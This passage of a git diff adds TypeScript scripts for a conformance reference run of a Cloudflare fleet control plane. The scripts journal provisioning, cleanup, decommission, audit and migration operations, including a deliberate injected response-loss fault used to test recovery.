+  type DirectStoredOperation,
+} from './direct-reference-journal.js';
+import { recordDirectResource } from './direct-reference-observations.js';
+
+type LifecycleAction = Exclude<
+  Extract<DirectReferenceAction, { role: DirectFixtureRole }>,
+  { kind: 'tenant-probe' | 'tenant-fence' }
+>;
+type CleanupSlot = `cleanup-${DirectFixtureRole}` | 'cleanup-recovery-initial';
+
+export type DirectDecommissionExportMetadata =
+  | Readonly<{
+      available: false;
+      role: DirectFixtureRole;
+      lifecyclePhase:
+        | DecommissionAdvanceIntent['lifecyclePhase']
+        | 'not-started';
+    }>
+  | Readonly<{
+      available: true;
+      role: DirectFixtureRole;
+      receipt: DatabaseExportReceiptIdentity;
+      location: string;
+      size: number;
+      sha256: string;
+      lifecyclePhase:
+        | 'database-exported'
+        | 'database-deleting'
+        | 'decommissioned';
+      intentState: DecommissionAdvanceIntent['state'];
+      revision: number;
+      generation: number;
+    }>;
+
+async function readDirectDecommissionExport(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  role: DirectFixtureRole,
+): Promise<DirectDecommissionExportMetadata> {
+  context.transport.assertWithinBudget();
+  const slot: DirectOperationSlot = `decommission-${role}`;
+  const stored = await context.journal.readOperation(slot);
+  const record = await context.control.getDeployment(
+    manifest.names.roles[role].tenantTag,
+    manifest.environment,
+  );
+  if (record && context.roleFor(record) !== role)
+    throw new DirectReferenceExecutionError();
+  if (stored && (stored.slot !== slot || stored.kind !== 'decommission'))
+    throw new DirectReferenceJournalError();
+  const spec = stored
+    ? readFrozenLifecycleSpec(context, stored, role)
+    : undefined;
+  const intent = record?.decommissionIntent;
+  const hasExport =
+    record &&
+    (record.databaseExportLocation !== undefined ||
+      record.databaseExportSize !== undefined ||
+      record.databaseExportSha256 !== undefined);
+  if (!stored?.operationId) {
+    if (intent || hasExport) throw new DirectReferenceJournalError();
+    return { available: false, role, lifecyclePhase: 'not-started' };
+  }
+  if (
+    !record ||
+    !intent ||
+    !spec ||
+    context.specFor(record) !== spec ||
+    intent.operationId !== stored.operationId ||
+    intent.identity.mode.kind !== 'normal' ||
+    intent.identity.mode.requestedSpecDigest !== deploymentSpecDigest(spec)
+  )
+    throw new DirectReferenceJournalError();
+  for (const field of [
+    'tenantTag',
+    'environment',
+    'backend',
+    'scriptName',
+    'databaseId',
+    'databaseName',
+    'routeHostname',
+  ] as const) {
+    if (intent.identity.record[field] !== record[field])
+      throw new DirectReferenceJournalError();
+  }
+  const lifecyclePhase = intent.lifecyclePhase;
+  if (
+    lifecyclePhase !== 'database-exported' &&
+    lifecyclePhase !== 'database-deleting' &&
+    lifecyclePhase !== 'decommissioned'
+  ) {
+    if (hasExport) throw new DirectReferenceExecutionError();
+    return { available: false, role, lifecyclePhase };
+  }
+  const authority = `r2://${context.binding.exportBucketName}/${manifest.resourcePrefix}/receipts/v1`;
+  const receipt: DatabaseExportReceiptIdentity = {
+    version: 1,
+    authority,
+    databaseId: record.databaseId,
+    operationId: intent.operationId,
+  };
+  const location = record.databaseExportLocation;
+  const size = record.databaseExportSize;
+  const sha256 = record.databaseExportSha256;
+  if (
+    intent.databaseExportReceiptAuthority !== authority ||
+    location !==
+      `${authority}/${receipt.databaseId}/${receipt.operationId}.sql` ||
+    typeof size !== 'number' ||
+    !Number.isSafeInteger(size) ||
+    size < 1 ||
+    typeof sha256 !== 'string' ||
+    !/^[0-9a-f]{64}$/u.test(sha256)
+  )
+    throw new DirectReferenceExecutionError();
+  await context.headDecommissionExport(receipt, size);
+  return {
+    available: true,
+    role,
+    receipt,
+    location,
+    size,
+    sha256,
+    lifecyclePhase,
+    intentState: intent.state,
+    revision: intent.revision,
+    generation: intent.generation,
+  };
+}
+
+function cleanupSlot(
+  role: DirectFixtureRole,
+  release: DirectFixtureRelease,
+): CleanupSlot {
+  return role === 'recovery' && release === 'initial'
+    ? 'cleanup-recovery-initial'
+    : `cleanup-${role}`;
+}
+
+function candidate(
+  context: DirectReferenceContext,
+  role: DirectFixtureRole,
+  release: DirectFixtureRelease,
+) {
+  return {
+    operationId: null,
+    inputJson: JSON.stringify({
+      version: 1,
+      role,
+      release,
+      specDigest: deploymentSpecDigest(context.spec(role, release)),
+    }),
+  };
+}
+
+function recipeForRecord(context: DirectReferenceContext, record: FleetRecord) {
+  const role = context.roleFor(record);
+  const spec = context.specFor(record);
+  const releases: readonly DirectFixtureRelease[] =
+    role === 'recovery'
+      ? ['initial', 'next', 'failed-recovery']
+      : ['initial', 'next'];
+  const release = releases.find(
+    (release) => context.spec(role, release) === spec,
+  );
+  if (!release) throw new DirectReferenceJournalError();
+  return { role, release, spec };
+}
+
+export function readFrozenLifecycleSpec(
+  context: DirectReferenceContext,
+  stored: DirectStoredOperation,
+  role: DirectFixtureRole,
+): CloudflareDeploymentSpec {
+  const input = JSON.parse(stored.inputJson) as Record<string, unknown>;
+  const release = input.release;
+  if (
+    input.role !== role ||
+    (release !== 'initial' &&
+      release !== 'next' &&
+      !(role === 'recovery' && release === 'failed-recovery')) ||
+    (stored.kind !== 'cleanup' && stored.kind !== 'decommission')
+  )
+    throw new DirectReferenceJournalError();
+  if (stored.inputJson !== candidate(context, role, release).inputJson)
+    throw new DirectReferenceJournalError();
+  return context.spec(role, release);
+}
+
+function validateReceipt(
+  receipt: CleanupTerminalReceipt,
+  operationId: string,
+  spec: CloudflareDeploymentSpec,
+) {
+  if (
+    receipt.operationId !== operationId ||
+    receipt.tenantTag !== spec.tenantTag ||
+    receipt.environment !== spec.environment ||
+    receipt.backend !== 'plain-worker' ||
+    receipt.scriptName !== spec.scriptName ||
+    receipt.databaseName !== spec.databaseName
+  )
+    throw new DirectReferenceJournalError();
+  return receipt;
+}
+
+export async function readHistoricalRecoveryReceipt(
+  context: DirectReferenceContext,
+) {
+  const stored = await context.journal.readOperation('cleanup-recovery');
+  if (!stored?.operationId)
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  const spec = readFrozenLifecycleSpec(context, stored, 'recovery');
+  if (spec !== context.spec('recovery', 'failed-recovery'))
+    throw new DirectReferenceJournalError();
+  const receipt = await context.control.readCleanupReceipt(stored.operationId);
+  if (!receipt)
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  validateReceipt(receipt, stored.operationId, spec);
+  if (receipt.authority !== 'provisioning-rollback')
+    throw new DirectReferenceJournalError();
+  return { slot: stored.slot, receipt };
+}
+
+async function provision(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: Extract<LifecycleAction, { kind: 'provision' }>,
+) {
+  const { role, release } = action;
+  if (role === 'recovery' && (await context.journal.readForceBefore()))
+    throw new DirectReferenceExecutionError();
+  const names = manifest.names.roles[role];
+  const slot = cleanupSlot(role, release);
+  const stored = await context.journal.freezeStart(slot, async () => {
+    if (role === 'recovery' && release === 'initial') {
+      await readHistoricalRecoveryReceipt(context);
+      if (
+        await context.control.getDeployment(
+          names.tenantTag,
+          manifest.environment,
+        )
+      )
+        throw new DirectReferenceJournalError('prerequisite-unavailable');
+    }
+    return candidate(context, role, release);
+  });
+  const spec = readFrozenLifecycleSpec(context, stored, role);
+  if (spec !== context.spec(role, release) || stored.tokenJson !== null)
+    throw new DirectReferenceExecutionError();
+  const current = await context.control.getDeployment(
+    names.tenantTag,
+    manifest.environment,
+  );
+  if (current) {
+    context.roleFor(current);
+    if (
+      current.cleanupIntent ||
+      current.decommissionIntent ||
+      context.specFor(current) !== spec
+    )
+      throw new DirectReferenceExecutionError();
+  } else if (!stored.inserted) throw new DirectReferenceExecutionError();
+  let result: ProvisioningResult;
+  try {
+    result = await context.control.provisionDeployment({
+      spec,
+      secrets: context.secrets(role),
+      initialExecutionFenceState: 'open',
+    });
+  } catch (error) {
+    let cleanup: CleanupAdvanceResult | undefined;
+    try {
+      if (error instanceof ProvisioningError) cleanup = error.cleanup;
+    } catch {
+      // Foreign rejections can trap class or property inspection.
+    }
+    if (!cleanup) throw error;
+    if (
+      cleanup.token.tenantTag !== spec.tenantTag ||
+      cleanup.token.environment !== spec.environment
+    )
+      throw new DirectReferenceExecutionError('wrong-operation');
+    await context.journal.rememberToken(slot, JSON.stringify(cleanup.token));
+    const record = await context.control.getDeployment(
+      names.tenantTag,
+      manifest.environment,
+    );
+    const resource = record
+      ? await recordDirectResource(context, record, 'provision-read')
+      : undefined;
+    return { status: 'failed-provision', role, slot, cleanup, resource };
+  }
+  const resource = await recordDirectResource(
+    context,
+    result.record,
+    'provision-read',
+  );
+  return { status: 'ready', role, resource };
+}
+
+async function selectCleanup(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: LifecycleAction,
+): Promise<DirectStoredOperation> {
+  const slots: readonly CleanupSlot[] =
+    action.role === 'recovery'
+      ? ['cleanup-recovery-initial', 'cleanup-recovery']
+      : [`cleanup-${action.role}`];
+  const stored = await Promise.all(
+    slots.map((slot) => context.journal.readOperation(slot)),
+  );
+  if (Object.hasOwn(action, 'token')) {
+    const token: unknown = Reflect.get(action, 'token');
+    if (
+      !token ||
+      typeof token !== 'object' ||
+      Array.isArray(token) ||
+      !Object.hasOwn(token, 'operationId')
+    )
+      throw new DirectReferenceExecutionError('wrong-operation');
+    const matches = stored.filter(
+      (entry) =>
+        entry !== undefined &&
+        entry.operationId !== null &&
+        entry.operationId === Reflect.get(token, 'operationId'),
+    );
+    if (matches.length !== 1 || !matches[0])
+      throw new DirectReferenceExecutionError('wrong-operation');
+    return matches[0];
+  }
+  const selected = stored.find((value) => value !== undefined);
+  if (selected) return selected;
+  if (action.kind !== 'cleanup-start')
+    throw new DirectReferenceExecutionError('missing-continuation');
+  const record = await context.control.getDeployment(
+    manifest.names.roles[action.role].tenantTag,
+    manifest.environment,
+  );
+  if (!record)
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  const recipe = recipeForRecord(context, record);
+  return context.journal.freezeStart(
+    cleanupSlot(action.role, recipe.release),
+    async () => candidate(context, action.role, recipe.release),
+  );
+}
+
+export async function dispatchDirectLifecycle(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: LifecycleAction,
+  signal: AbortSignal,
+): Promise<unknown> {
+  if (action.kind === 'provision') return provision(context, manifest, action);
+  if (action.kind === 'decommission-export')
+    return readDirectDecommissionExport(context, manifest, action.role);
+  const decommission = action.kind.startsWith('decommission-');
+  let stored: DirectStoredOperation;
+  if (decommission) {
+    const slot: DirectOperationSlot = `decommission-${action.role}`;
+    if (action.kind === 'decommission-start') {
+      stored = await context.journal.freezeStart(slot, async () => {
+        const record = await context.control.getDeployment(
+          manifest.names.roles[action.role].tenantTag,
+          manifest.environment,
+        );
+        if (!record)
+          throw new DirectReferenceJournalError('prerequisite-unavailable');
+        const recipe = recipeForRecord(context, record);
+        return candidate(context, action.role, recipe.release);
+      });
+    } else {
+      const existing = await context.journal.readOperation(slot);
+      if (!existing)
+        throw new DirectReferenceExecutionError('missing-continuation');
+      stored = existing;
+    }
+  } else stored = await selectCleanup(context, manifest, action);
+  const spec = readFrozenLifecycleSpec(context, stored, action.role);
+  if (action.kind === 'cleanup-receipt') {
+    if (!stored.operationId)
+      throw new DirectReferenceExecutionError('missing-continuation');
+    const receipt = await context.control.readCleanupReceipt(
+      stored.operationId,
+    );
+    return {
+      slot: stored.slot,
+      receipt: receipt
+        ? validateReceipt(receipt, stored.operationId, spec)
+        : null,
+    };
+  }
+  let advance: CleanupAdvanceAction;
+  if (
+    (action.kind === 'cleanup-start' || action.kind === 'decommission-start') &&
+    stored.tokenJson === null
+  )
+    advance = { kind: 'start' };
+  else
+    advance = {
+      kind: action.kind.endsWith('-restart-blocked')
+        ? 'restart-blocked'
+        : 'continue',
+      token: directContinuation(stored, action),
+    };
+  const current = await context.control.getDeployment(
+    spec.tenantTag,
+    spec.environment,
+  );
+  if (
+    current &&
+    (stored.operationId === null ||
+      current.cleanupIntent?.operationId === stored.operationId ||
+      current.decommissionIntent?.operationId === stored.operationId)
+  )
+    await recordDirectResource(context, current, 'teardown-read');
+  const result = decommission
+    ? await context.control.advanceDecommissionDeployment({
+        spec,
+        action: advance,
+        maxProviderRequests: manifest.referenceRuntime.maxProviderRequests,
+        signal,
+      })
+    : await context.control.advanceCleanupDeployment({
+        spec,
+        action: advance,
+        maxProviderRequests: manifest.referenceRuntime.maxProviderRequests,
+        signal,
+      });
+  await context.journal.rememberToken(
+    stored.slot,
+    JSON.stringify(result.token),
+  );
+  return { slot: stored.slot, ...result };
+}
diff --git a/packages/fleet-control/scripts/direct-reference-observations.ts b/packages/fleet-control/scripts/direct-reference-observations.ts
new file mode 100644
index 00000000..91854d1d
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-observations.ts
@@ -0,0 +1,220 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  fleetSettlementKey,
+  type R2Jurisdiction,
+} from '@proofoftech/fleet-control';
+import {
+  deploymentSpecDigest,
+  type FleetRecord,
+  type FleetSettlementHost,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type {
+  DirectFixtureRelease,
+  DirectFixtureRole,
+} from './direct-credentialed-spec.js';
+import type { DirectReferenceContext } from './direct-reference-context.js';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import type { DirectStoredResource } from './direct-reference-journal.js';
+
+type ResourceSource =
+  | 'provision-read'
+  | 'migration-read'
+  | 'teardown-read'
+  | 'before-force';
+
+export interface DirectResourceIdentity {
+  readonly version: 1;
+  readonly role: DirectFixtureRole;
+  readonly backend: FleetRecord['backend'];
+  readonly tenantTag: string;
+  readonly environment: string;
+  readonly scriptName: string;
+  readonly database: Readonly<{ name: string; id: string | null }>;
+  readonly knownVersionIds: readonly string[];
+  readonly localNamespaces: readonly Readonly<{
+    name: string;
+    className: string;
+    namespaceId: string;
+  }>[];
+  readonly applicationBuckets: readonly Readonly<{
+    name: string;
+    bucketName: string;
+    jurisdiction: R2Jurisdiction;
+    reservationNonce: string;
+    creationDate: string | null;
+  }>[];
+}
+
+function compare(left: string, right: string): number {
+  return left < right ? -1 : left > right ? 1 : 0;
+}
+
+export function directResourceObservation(
+  context: DirectReferenceContext,
+  record: FleetRecord,
+  source: ResourceSource,
+): Readonly<{
+  role: DirectFixtureRole;
+  identityJson: string;
+  provenanceJson: string;
+}> {
+  const role = context.roleFor(record);
+  context.specFor(record);
+  if (
+    record.durableObjectBindings.some(
+      (binding) => binding.scriptName || binding.dispatchNamespace,
+    )
+  )
+    throw new DirectReferenceExecutionError();
+  const admittedPhase =
+    record.cleanupIntent?.identity.admittedPhase ?? record.phase;
+  const databaseState =
+    admittedPhase === 'database-reserved'
+      ? 'reservation'
+      : admittedPhase === 'database-create-authorized'
+        ? 'create-outcome-unresolved'
+        : 'recorded';
+  const identity: DirectResourceIdentity = {
+    version: 1,
+    role,
+    backend: record.backend,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    scriptName: record.scriptName,
+    database: {
+      name: record.databaseName,
+      id: record.databaseId.startsWith('reserved-') ? null : record.databaseId,
+    },
+    knownVersionIds: [
+      ...new Set([
+        record.artifactVersion,
+        record.pendingArtifactVersion,
+        record.activeRelease?.artifactVersion,
+        record.pendingRelease?.artifactVersion,
+      ]),
+    ]
+      .filter(
+        (value): value is string => value !== undefined && value !== 'pending',
+      )
+      .sort(compare),
+    localNamespaces: record.durableObjectBindings
+      .map(({ name, className, namespaceId }) => ({
+        name,
+        className,
+        namespaceId,
+      }))
+      .sort((left, right) => compare(left.name, right.name)),
+    applicationBuckets: (record.applicationResources ?? [])
+      .map(
+        ({
+          name,
+          bucketName,
+          jurisdiction,
+          reservationNonce,
+          creationDate,
+        }) => ({
+          name,
+          bucketName,
+          jurisdiction,
+          reservationNonce,
+          creationDate: creationDate ?? null,
+        }),
+      )
+      .sort((left, right) => compare(left.name, right.name)),
+  };
+  return {
+    role,
+    identityJson: JSON.stringify(identity),
+    provenanceJson: JSON.stringify({
+      source,
+      phase: record.phase,
+      schemaVersion: record.schemaVersion,
+      desiredSpecDigest: record.desiredSpecDigest,
+      pendingSpecDigest: record.pendingSpecDigest ?? null,
+      recordUpdatedAt: record.updatedAt,
+      databaseState,
+      applicationStates: (record.applicationResources ?? [])
+        .map(({ name, state }) => ({ name, state }))
+        .sort((left, right) => compare(left.name, right.name)),
+    }),
+  };
+}
+
+export async function recordDirectResource(
+  context: DirectReferenceContext,
+  record: FleetRecord,
+  source: ResourceSource,
+): Promise<DirectStoredResource> {
+  context.transport.assertWithinBudget();
+  const observation = directResourceObservation(context, record, source);
+  const stored = await context.journal.recordResource(
+    observation.role,
+    observation.identityJson,
+    observation.provenanceJson,
+  );
+  context.transport.assertWithinBudget();
+  return stored;
+}
+
+export function directSettlementHost(
+  context: DirectReferenceContext,
+  record: FleetRecord,
+): FleetSettlementHost {
+  const role = context.roleFor(record);
+  context.specFor(record);
+  const releases: readonly DirectFixtureRelease[] =
+    role === 'recovery'
+      ? ['initial', 'next', 'failed-recovery']
+      : ['initial', 'next'];
+  const digests = new Set(
+    releases.map((release) =>
+      deploymentSpecDigest(context.spec(role, release)),
+    ),
+  );
+  return {
+    async settle(settlement) {
+      context.transport.assertWithinBudget();
+      const { target, attestation, settlementKey } = settlement;
+      if (
+        settlement.tenantTag !== record.tenantTag ||
+        settlement.environment !== record.environment ||
+        target.physicalScriptName !== record.scriptName ||
+        !digests.has(target.specDigest) ||
+        !target.artifactVersion ||
+        target.artifactVersion === 'pending' ||
+        attestation.physicalScriptName !== target.physicalScriptName ||
+        attestation.specDigest !== target.specDigest ||
+        attestation.artifactVersion !== target.artifactVersion ||
+        settlementKey !==
+          fleetSettlementKey({
+            tenantTag: record.tenantTag,
+            environment: record.environment,
+            specDigest: target.specDigest,
+            artifactVersion: target.artifactVersion,
+          })
+      )
+        throw new DirectReferenceExecutionError();
+      await context.journal.recordSettlement(
+        settlementKey,
+        JSON.stringify({
+          version: 1,
+          role,
+          tenantTag: record.tenantTag,
+          environment: record.environment,
+          target: {
+            physicalScriptName: target.physicalScriptName,
+            specDigest: target.specDigest,
+            artifactVersion: target.artifactVersion,
+          },
+        }),
+        JSON.stringify({
+          entry: settlement.entry,
+          alreadySettled: settlement.alreadySettled,
+          observedAt: attestation.observedAt,
+        }),
+      );
+      context.transport.assertWithinBudget();
+    },
+  };
+}
diff --git a/packages/fleet-control/scripts/direct-reference-r4.ts b/packages/fleet-control/scripts/direct-reference-r4.ts
new file mode 100644
index 00000000..d4e5358b
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-r4.ts
@@ -0,0 +1,383 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { randomUUID } from 'node:crypto';
+import {
+  deploymentSpecDigest,
+  type FleetAuditAdvanceAction,
+  type FleetMigrationAdvanceAction,
+  type FleetMigrationItem,
+  type FleetRecord,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs';
+import type { DirectReferenceContext } from './direct-reference-context.js';
+import { directContinuation } from './direct-reference-continuation.js';
+import type {
+  DirectAuditSlot,
+  DirectReferenceAction,
+} from './direct-reference-contract.mjs';
+import { DirectReferenceExecutionError } from './direct-reference-http.js';
+import { selectedDirectGeneration } from './direct-reference-inventory.js';
+import {
+  DirectReferenceJournalError,
+  type DirectStoredOperation,
+} from './direct-reference-journal.js';
+import {
+  directSettlementHost,
+  recordDirectResource,
+} from './direct-reference-observations.js';
+
+type FleetSlot = DirectAuditSlot | 'migration-next';
+type AuditStart = Extract<FleetAuditAdvanceAction, { kind: 'start' }>;
+type MigrationStart = Extract<FleetMigrationAdvanceAction, { kind: 'start' }>;
+const staleAfterMs = 60 * 60 * 1_000;
+
+function normalRole(
+  context: DirectReferenceContext,
+  record: FleetRecord,
+): 'a' | 'b' {
+  const role = context.roleFor(record);
+  if (role === 'recovery') throw new DirectReferenceExecutionError();
+  return role;
+}
+
+function normalRecords(
+  context: DirectReferenceContext,
+  value: unknown,
+): readonly FleetRecord[] {
+  if (!Array.isArray(value) || value.length !== 2)
+    throw new DirectReferenceJournalError();
+  for (const [index, role] of ['a', 'b'].entries()) {
+    const record = value[index];
+    if (!record || typeof record !== 'object' || Array.isArray(record))
+      throw new DirectReferenceJournalError();
+    if (normalRole(context, record) !== role)
+      throw new DirectReferenceJournalError();
+    context.specFor(record);
+  }
+  return value;
+}
+
+async function createStart(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  slot: FleetSlot,
+) {
+  const records = await Promise.all(
+    (['a', 'b'] as const).map((role) =>
+      context.control.getDeployment(
+        manifest.names.roles[role].tenantTag,
+        manifest.environment,
+      ),
+    ),
+  );
+  if (records.some((record) => record === undefined))
+    throw new DirectReferenceJournalError('prerequisite-unavailable');
+  const selected = normalRecords(context, records);
+  const operationId = randomUUID();
+  const action =
+    slot === 'migration-next'
+      ? {
+          kind: 'start' as const,
+          operationId,
+          records: selected,
+          canaryTenantTags: [manifest.names.roles.a.tenantTag],
+        }
+      : {
+          kind: 'start' as const,
+          operationId,
+          records: selected,
+          staleAfterMs,
+          generation: (
+            await selectedDirectGeneration(
+              context,
+              manifest,
+              slot === 'audit-before' ? 'inventory-before' : 'inventory-after',
+            )
+          ).generation,
+        };
+  return { operationId, inputJson: JSON.stringify(action) };
+}
+
+function readStart(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  stored: DirectStoredOperation,
+):
+  | { kind: 'audit'; action: AuditStart }
+  | { kind: 'migration'; action: MigrationStart } {
+  try {
+    if (stored.operationId === null) throw new DirectReferenceJournalError();
+    const input = JSON.parse(stored.inputJson) as Record<string, unknown>;
+    const records = normalRecords(context, input.records);
+    if (stored.slot === 'migration-next' && stored.kind === 'migration') {
+      const action: MigrationStart = {
+        kind: 'start',
+        operationId: stored.operationId,
+        records,
+        canaryTenantTags: [manifest.names.roles.a.tenantTag],
+      };
+      if (stored.inputJson !== JSON.stringify(action))
+        throw new DirectReferenceJournalError();
+      return { kind: 'migration', action };
+    }
+    if (
+      (stored.slot !== 'audit-before' && stored.slot !== 'audit-after') ||
+      stored.kind !== 'audit'
+    )
+      throw new DirectReferenceJournalError();
+    if (
+      typeof input.generation !== 'number' ||
+      !Number.isSafeInteger(input.generation) ||
+      input.generation < 1
+    )
+      throw new DirectReferenceJournalError();
+    const action: AuditStart = {
+      kind: 'start',
+      operationId: stored.operationId,
+      records,
+      staleAfterMs,
+      generation: input.generation,
+    };
+    if (stored.inputJson !== JSON.stringify(action))
+      throw new DirectReferenceJournalError();
+    return { kind: 'audit', action };
+  } catch {
+    throw new DirectReferenceJournalError();
+  }
+}
+
+function object(value: unknown): Record<string, unknown> {
+  if (!value || typeof value !== 'object' || Array.isArray(value))
+    throw new DirectReferenceJournalError();
+  return value as Record<string, unknown>;
+}
+
+function claimRevision(json: unknown, operationId: string): number {
+  if (typeof json !== 'string') throw new DirectReferenceJournalError();
+  const claim = object(JSON.parse(json));
+  if (
+    claim.operationId !== operationId ||
+    typeof claim.revision !== 'number' ||
+    !Number.isSafeInteger(claim.revision) ||
+    claim.revision < 0
+  )
+    throw new DirectReferenceJournalError();
+  return claim.revision;
+}
+
+async function hasInterruption(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  operationId: string,
+): Promise<boolean> {
+  const raw = await context.journal.readInterruption();
+  if (raw === null) return false;
+  try {
+    const value = object(JSON.parse(raw)),
+      item = object(value.item);
+    const before = claimRevision(value.claimJson, operationId),
+      after = claimRevision(value.returnedTokenJson, operationId);
+    if (
+      after <= before ||
+      typeof item.entryRecordDigest !== 'string' ||
+      !/^[a-f0-9]{64}$/u.test(item.entryRecordDigest)
+    )
+      throw new DirectReferenceJournalError();
+    const expected = {
+      version: 1,
+      boundary: 'after-migration-admission',
+      slot: 'migration-next',
+      operationId,
+      claimJson: value.claimJson,
+      returnedTokenJson: value.returnedTokenJson,
+      item: {
+        ordinal: 0,
+        tenantTag: manifest.names.roles.a.tenantTag,
+        environment: manifest.environment,
+        entryRecordDigest: item.entryRecordDigest,
+        targetSpecDigest: deploymentSpecDigest(context.spec('a', 'next')),
+        beforeStatus: 'pending',
+        afterStatus: 'active',
+        planCursor: 0,
+      },
+    };
+    if (raw !== JSON.stringify(expected))
+      throw new DirectReferenceJournalError();
+    return true;
+  } catch {
+    throw new DirectReferenceJournalError();
+  }
+}
+
+function firstCanary(
+  item: FleetMigrationItem | undefined,
+  manifest: DirectRunManifest,
+): item is FleetMigrationItem {
+  return (
+    item?.ordinal === 0 &&
+    item.tenantTag === manifest.names.roles.a.tenantTag &&
+    item.environment === manifest.environment &&
+    item.canaryRank === 0
+  );
+}
+
+async function recordNormalResources(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+): Promise<void> {
+  for (const role of ['a', 'b'] as const) {
+    const record = await context.control.getDeployment(
+      manifest.names.roles[role].tenantTag,
+      manifest.environment,
+    );
+    if (record) {
+      if (normalRole(context, record) !== role)
+        throw new DirectReferenceExecutionError();
+      await recordDirectResource(context, record, 'migration-read');
+    }
+  }
+}
+
+export async function dispatchDirectR4(
+  context: DirectReferenceContext,
+  manifest: DirectRunManifest,
+  action: DirectReferenceAction,
+  signal: AbortSignal,
+): Promise<unknown> {
+  if (
+    !action.kind.startsWith('audit-') &&
+    !action.kind.startsWith('migration-')
+  )
+    throw new DirectReferenceExecutionError();
+  const slot: FleetSlot =
+    'slot' in action &&
+    (action.slot === 'audit-before' || action.slot === 'audit-after')
+      ? action.slot
+      : 'migration-next';
+  if ((slot === 'migration-next') !== action.kind.startsWith('migration-'))
+    throw new DirectReferenceExecutionError();
+  const starting =
+    action.kind === 'audit-start' || action.kind === 'migration-start';
+  const stored = starting
+    ? await context.journal.freezeStart(slot, () =>
+        createStart(context, manifest, slot),
+      )
+    : await context.journal.readOperation(slot);
+  if (!stored) throw new DirectReferenceJournalError('missing-start');
+  const frozen = readStart(context, manifest, stored);
+  const operationId = frozen.action.operationId;
+  if (action.kind === 'audit-page')
+    return context.control.readFleetAuditFindingsPage({
+      operationId,
+      limit: action.limit,
+      afterOrdinal: action.afterOrdinal,
+    });
+  if (action.kind === 'migration-page')
+    return context.control.readFleetMigrationItemsPage({
+      operationId,
+      limit: action.limit,
+      afterOrdinal: action.afterOrdinal,
+    });
+  if (action.kind === 'audit-abandon') {
+    await context.control.abandonFleetAuditOperation(operationId);
+    return { operationId };
+  }
+  if (action.kind === 'migration-abandon') {
+    await context.control.abandonFleetMigrationOperation(operationId);
+    return { operationId };
+  }
+  const claim =
+    starting && stored.tokenJson === null
+      ? undefined
+      : directContinuation(stored, action);
+  if (frozen.kind === 'audit') {
+    const result = await context.control.advanceFleetAudit({
+      action:
+        claim === undefined
+          ? frozen.action
+          : { kind: 'continue', token: claim },
+      specFor: (record) => {
+        normalRole(context, record);
+        return context.specFor(record);
+      },
+      maintenanceSecretFor: (record) =>
+        context.secrets(normalRole(context, record)).maintenanceAdmin,
+      maxItemsPerCall: 1,
+      signal,
+    });
+    await context.journal.rememberToken(slot, JSON.stringify(result.token));
+    return result;
+  }
+  const observed = await hasInterruption(context, manifest, operationId);
+  const claimJson = claim === undefined ? undefined : JSON.stringify(claim);
+  const before =
+    !observed && claim !== undefined
+      ? (
+          await context.control.readFleetMigrationItemsPage({
+            operationId,
+            limit: 1,
+          })
+        ).items[0]
+      : undefined;
+  const result = await context.control.advanceFleetMigration({
+    action:
+      claim === undefined ? frozen.action : { kind: 'continue', token: claim },
+    specFor: (record) => context.spec(normalRole(context, record), 'next'),
+    secretsFor: (record) => context.secrets(normalRole(context, record)),
+    settlementFor: (record) => {
+      normalRole(context, record);
+      return directSettlementHost(context, record);
+    },
+  });
+  await context.journal.rememberToken(slot, JSON.stringify(result.token));
+  if (
+    !observed &&
+    claimJson !== undefined &&
+    result.status === 'pending' &&
+    result.itemOrdinal === 0 &&
+    result.planCursor === 0 &&
+    result.token.operationId === operationId &&
+    result.token.revision > claimRevision(claimJson, operationId) &&
+    firstCanary(before, manifest) &&
+    before.status === 'pending'
+  ) {
+    const after = (
+      await context.control.readFleetMigrationItemsPage({
+        operationId,
+        limit: 1,
+      })
+    ).items[0];
+    if (
+      firstCanary(after, manifest) &&
+      after.status === 'active' &&
+      after.planCursor === 0 &&
+      after.entryRecordDigest === before.entryRecordDigest &&
+      after.targetSpecDigest === deploymentSpecDigest(context.spec('a', 'next'))
+    ) {
+      const injected = await context.journal.recordInterruption(
+        JSON.stringify({
+          version: 1,
+          boundary: 'after-migration-admission',
+          slot: 'migration-next',
+          operationId,
+          claimJson,
+          returnedTokenJson: JSON.stringify(result.token),
+          item: {
+            ordinal: 0,
+            tenantTag: after.tenantTag,
+            environment: after.environment,
+            entryRecordDigest: after.entryRecordDigest,
+            targetSpecDigest: after.targetSpecDigest,
+            beforeStatus: 'pending',
+            afterStatus: 'active',
+            planCursor: 0,
+          },
+        }),
+      );
+      if (injected)
+        throw new DirectReferenceExecutionError('injected-response-loss');
+    }
+  }
+  await recordNormalResources(context, manifest);
+  return result;
+}
diff --git a/packages/fleet-control/scripts/direct-reference-receipt.d.mts b/packages/fleet-control/scripts/direct-reference-receipt.d.mts
new file mode 100644
index 00000000..e87f2354
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-receipt.d.mts
@@ -0,0 +1,7 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { CleanupTerminalReceipt } from '@proofoftech/fleet-control';
+
+export function directCleanupReceiptDigest(
+  receipt: CleanupTerminalReceipt,
+): string;
diff --git a/packages/fleet-control/scripts/direct-reference-receipt.mjs b/packages/fleet-control/scripts/direct-reference-receipt.mjs
new file mode 100644
index 00000000..54012749
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-reference-receipt.mjs
@@ -0,0 +1,41 @@
+// SPDX-License-Identifier: Apache-2.0
